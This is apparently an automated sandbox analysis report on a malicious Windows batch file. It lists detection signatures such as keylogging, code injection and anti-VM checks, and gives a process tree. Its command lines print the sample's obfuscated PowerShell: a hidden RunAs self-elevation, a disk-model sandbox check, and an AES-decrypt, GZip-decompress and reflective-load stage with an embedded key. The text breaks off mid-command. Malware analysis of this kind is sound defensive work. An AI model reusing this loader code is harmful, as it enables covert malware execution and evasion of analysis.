Windows
Analysis Report
skf7iF4.bat
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell decrypt and execute
Allocates memory in foreign processes
Creates a thread in another existing process (thread injection)
Found large BAT file
Hides that the sample has been downloaded from the Internet (zone.identifier)
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs a global keyboard hook
Joe Sandbox ML detected suspicious sample
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Suspicious powershell command line found
Writes to foreign memory regions
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 6300 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\skf7i F4.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 6324 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 6440 cmdline:
powershell -windowst yle hidden -command "Start-Pro cess -File Path 'C:\U sers\user\ Desktop\sk f7iF4.bat' -Argument List 'sgcC UaUFtA' -W indowStyle Hidden -V erb RunAs" MD5: 04029E121A0CFA5991749937DD22A1D9) cmd.exe (PID: 3568 cmdline:
"C:\Window s\System32 \cmd.exe" /C "C:\Use rs\user\De sktop\skf7 iF4.bat" s gcCUaUFtA MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 4920 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 6304 cmdline:
powershell .exe "if ( (Get-WmiOb ject Win32 _DiskDrive | Select- Object -Ex pandProper ty Model | findstr / i 'WDS100T 2B0A') -an d (-not (G et-ChildIt em -Path F :\ -Recurs e | Where- Object { - not $_.PSI sContainer } | Measu re-Object) .Count)) { exit 900} else {exit 1}" MD5: 04029E121A0CFA5991749937DD22A1D9) findstr.exe (PID: 6548 cmdline:
"C:\Window s\system32 \findstr.e xe" /i WDS 100T2B0A MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) cmd.exe (PID: 4012 cmdline:
cmd.exe /c echo func tion ixMY( $RTJl){ In voke-Expre ssion -Ver bose '$lYy a=[kQSkQyk QstkQekQm. kQSkQekQck QukQrkQikQ tkQykQ.kQC rkQykQpkQt okQgrkQakQ phkQykQ.kQ AekQskQ]:k Q:CkQrkQek QakQtekQ(k Q);'.Repla ce('kQ', ' '); Invoke -Expressio n -Warning Action Inq uire -Debu g -Informa tionAction Ignore -V erbose '$l Yya.M7ko7k d7ke=7k[7k Sy7ks7kt7k e7km7k.7kS 7ke7kc7ku7 kri7kt7ky7 k.C7kry7kp 7kto7kg7kr 7kap7kh7ky .7kCi7kp7k h7ke7krM7k o7kd7ke]7k :7k:C7kB7k C;'.Replac e('7k', '' ); Invoke- Expression -Informat ionAction Ignore '$l Yya.PUPaUP dUPdiUPnUP g=UP[UPSUP yUPsUPtUPe UPmUP.UPSU PecUPuUPrU PitUPy.UPC UPryUPpUPt UPogUPrUPa pUPhyUP.UP PUPaUPddUP iUPnUPgMUP oUPdeUP]UP ::UPPUPKUP CUPS7UP;'. Replace('U P', ''); I nvoke-Expr ession -Ve rbose '$lY ya.KF4eF4y F4=[F4SF4y sF4tF4eF4m F4.F4CF4oF 4nF4vF4eF4 rtF4]F4:F4 :FF4roF4mF 4BaF4sF4eF 464F4SF4tr F4inF4g("6 F4iF4nF4QT F4VF4f6F4k F4MF4fF4iF 4uF49F40F4 mF4wF4KaF4 ZF48F4tDF4 82F4BF4yTF 4DF4CF4HNF 4RF4PsF4BF F42F4gF4fF 4mFF4QF4=" );'.Replac e('F4', '' ); Invoke- Expression -Debug -V erbose -In formationA ction Igno re -Warnin gAction In quire '$lY ya.IcuVcu= cu[Scuycus tcuecumcu. cuCcuocunc uvcuecurcu t]cu:cu:cu FrcuomcuBc uascuecu6c u4Scutcuri cungcu("Oc uQcufcuEsc uocuBxcu6c ufcuucuHcu ocuGcu2cuo cu+cubrcu8 curcuQ=cu= ");'.Repla ce('cu', ' '); $kxIY= $lYya.Crea teDecrypto r(); $uoEQ =$kxIY.Tra nsformFina lBlock($RT Jl, 0, $RT Jl.Length) ; $kxIY.Di spose(); $ lYya.Dispo se(); $uoE Q;}functio n eaLU($RT Jl){ Invok e-Expressi on -Debug -Verbose - WarningAct ion Inquir e -Informa tionAction Ignore '$ QqUU=NgZeg ZwgZ-OgZbg ZjegZcgZtg Z gZSgZygZ sgZtgZegZm gZ.IgZOgZ. gZMegZmogZ rgZySgZtgZ rgZeagZm(, $RTJl);'.R eplace('gZ ', ''); In voke-Expre ssion -War ningAction Inquire ' $JLmq=NgZe gZwgZ-OgZb gZjegZcgZt gZ gZSgZyg ZsgZtgZegZ mgZ.IgZOgZ .gZMegZmog ZrgZySgZtg ZrgZeagZm; '.Replace( 'gZ', ''); Invoke-Ex pression - Debug -War ningAction Inquire - Verbose -I nformation Action Ign ore '$FcOM =NJVeJVwJV -OJVbJVjeJ VcJVtJV JV SJVyJVsJVt JVeJVmJV.I JVOJV.JVCo JVmpJVrJVe sJVsJViJVo nJV.JVGZJV ipJVSJVtJV rJVeaJVmJV ($QqUU, [J VIJVOJV.CJ VoJVmpJVrJ VeJVsJVsJV iJVoJVnJV. JVCJVomJVp JVrJVesJVs iJVoJVnMJV oJVdJVe]JV :JV:DJVecJ VoJVmJVpJV reJVsJVs); '.Replace( 'JV', ''); $FcOM.Cop yTo($JLmq) ; $FcOM.Di spose(); $ QqUU.Dispo se(); $JLm q.Dispose( ); $JLmq.T oArray();} function a sdm($RTJl, $dnWr){ In voke-Expre ssion -Inf ormationAc tion Ignor e -Verbose -Debug '$ UMjh=[imSi myimstimei mm.imRimei mfimlimeim cimtimiimo imn.imAims imseimmbim limy]im:im :imLoimaim d([byte[]] $RTJl);'.R eplace('im ', ''); In voke-Expre ssion -Inf ormationAc tion Ignor e -Verbose -WarningA ction Inqu ire -Debug '$mtQH=$U Mjh.EIAnIA